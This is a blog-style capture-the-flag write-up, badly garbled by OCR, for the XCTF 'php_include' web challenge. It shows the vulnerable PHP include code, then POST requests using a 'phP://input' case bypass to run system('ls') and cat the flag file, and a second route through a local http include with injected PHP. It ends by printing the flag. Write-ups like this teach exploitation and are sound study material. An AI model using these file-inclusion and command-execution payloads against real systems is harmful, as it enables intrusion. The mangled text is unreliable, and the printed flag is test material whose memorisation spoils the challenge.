XCTF_Web 004 Web php _include

0130bbd? F 2021-09-17 00:10:01 K #i 885 AL
LR XCTF_Writeup 5 hr%5:  webZe4s

B s AR SO SR AU SCHR, 845 CC 4.0 BY-SA B, HeHkil bR S H A BEE A A P W]

ASCHERZE: https://blog.csdn.net/weixin 43243191 /article/details/120340032
AL

XCTF_Writeup o iZ A 45

4 50 EE 0T 1
T LS

Writeup

AR B 1T
strstr()UL fic.php:/
str_replace()] 2= #% & K php://

« C O A F%%£| 111.200.241.244:58059

<?php

show_source( FILE ):

echo $ GET[ hello’ ]:

$page=$_GET[ page’ |;

while (strstr($page, “php://”)) |
$page=str_replace ("php://”, ””, $page):

1

!

include ($page) ;
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http://111.200.241.244:58059/?page=phP://input
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HEGN RiE \n Actions w0 HE 555 Render \n  Actions w
1 POST /?page=phP://input HTTP/1.1 while&nbsp; ({/span>
2 Host: 111.200. 241. 244:58059 {span style="color: HOOOOBB”>strstr<{/span>
3 Content-Length: 25 {span style="color: #00T700"> ({/span>
4 Cache—Control: max-age=0 {span style="color: HOOOOBB”>$page</span>
5 Upgrade-Insecure-Requests: 1 {span style="color: H0O0OT700">, &nbsp;</span>
6 User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win6d; x64) AppleWebKit/537.36 (KHTML, <span style="color: #DD0000">"php://"</span>
7 Origin: http://111.200. 241. 244:58059 {span style="color: #007700">))&nbsp; {<br />
8 Content-Type: application/x-www-form-urlencoded &nbsp; &nbsp; &nbsp; &nbsp; </ span>
9 Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image/ <span style="color: BO0OOBB">$page/span>
10 Referer: http://111.200. 241. 244:58059/?page=phP: //input <span style="color: #007700">={/span>
11 Accept-Encoding: gzip, deflate <span style="color: HOOOOBB”>str_replace</span>
12 Accept-Language: zh-CN, zh:q=0. 9, en-US:q=0. 8, en;q=0. 7 <span style="color: #007700"> (</span>
13 Connection: close {span style="color: #DD0000”>"php://”</span>
14 {span style="color: H00TT00">, &nbsp;</span>
15 <?php <span style="color: HDD0O000">"”</span>
16 system(”"1s”); {span style="color: HOOTT00">,&nbsp;</span>
17 {span style="color: HOOOOBR">$page/span>
{span style="color: HOOTTO0">);<br />
HKbr />
include (</span>
{span style="color: HOOOOBB”>$page</span>
{span style="color: HOQTT00">):<br />
</ span>
{span style="color: H#OOOOBB">?&gt;:<br />
</span>
12 </span>
13 {/code>
fl4gisisish3r3. php
14 1index. php
13 phprato. ph CSDN @0130bbd7
7 Ffldgisisish3r3.php
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1 POST /?page=phP://input HTTP/1. 1 whilefnbsp; (</span>
2 Host: 111.200.241. 244: 58059 <span style="color: #0000BB">strstr</span>
3 Content-Length: 45 <{span stvle="color: #00TT00"> ({/span>
4 Cache-Control: max-age=0 <span style="color: #O000BB">$paged/span>
5 Upgrade-Insecure-Requests: 1 <span style="color: #007700">, &nbsp:</span>
6 User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.28 (KHTML, <span style="color: #DD0000">"php://"</span>
7 Origin: http://111. 200. 241. 244: 58059 {span style="color: #007700">))&nbsp; {<br />
8 Content-Type: application/x-www—form—urlencoded &nbsp; &nbsp; &nbsp; &nbsp; </span>
9 Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image/ <span style="color: HOOOOBB">$page(/span>
10 Referer: http://111.200. 241. 244:58053/?page=phP: //input <span style="color: #007700">=(/span>
11 Accept-Encoding: gzip, deflate <span style="color: #OOOOBB”>str_replace</span>
2 Accept-Language: zh-CN, zh:q=0. 9, en-US;q=0. 8, en;q=0. 7 <span style="color: #007700"> ({/span>
13 Connection: close <span style="color: #DDO0O00">"php://"</span>
14 <span style="color: #007700">, &nbsp;</span>
15 <?php <span style="color: #DDO00O">""</span>
16 system(“cat fl4gisisish3r3. php”); <span style="color: #00T700">, &nbsp;</span>
17 2 <span style="color: ®OOOOBB">$paged/span>
<span style="color: #007700">);<br />
br />
include(</span>
<span style="color: HOOOOBB">$paged/span>
<span style="color: #007TT0Q">);<br />
</ span>
<span style="color: #OOOOBB”>?&gt:<br />
</span>
12 </span>
13 </code>
<?php
14 $flag="ctf {876a5fca-96c6-4cbd-9075-4650c89475d2}] ;
15 2>
16 CSDN @0130bbd7

Writeup2



Dyl seid

< CcC 0 (A FZ2 | 111.200.241.244:58059/?page=http://127.0.0.1/index.php/?hello= <?system("ls");?>

<?php

show_source (_ FILE_ ):

echo $ _GET[ hello 1;

$page=$ GET[ page’ ]:

while (strstr($page, “php://”)) {

Spage=str_replace (“php://”, ””, $page);
1
s
include ($page) ;
>
{?php

show_source (__FILE )

echo $_GET[ hello’ ];

$page=$_GET[ page’ ]:

while (strstr(Spage, “php://")) |
Spage=str_replace (“php://”, ””, $page);

1

!

include (Spage) :

2
fldgisisish3r3.php index.php phpinfo.php
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7 Ffl4gisisish3r3.php
< C O A &£ | 111.200.241.244:58059/?page=http://127.0.0.1/index.php/?hello= <?show_source("fl4gisisish3r3.php");?>
<?php

show_source (_FILE_ )

echo $ GET[ hello ]:

$page=$_GET[ page’]:

while (strstr(Spage, “php://")) {

Spage=str_replace("php://", ", $page);
1
!
include (Spage) ;
2>
<?php

show_source (__FILE_ )

echo $_GET[ hello’ ]:

Spage=$_GET[ page']:

while (strstr($page, “php://")) |
Spage=str_replace (“php://”, ””, $page):

)

i

include (Spage)

2>

<7php

$flag="ctf {876abfca-96c6-4chd-9075-46£0c89475d2} ";

2
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FLAG

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
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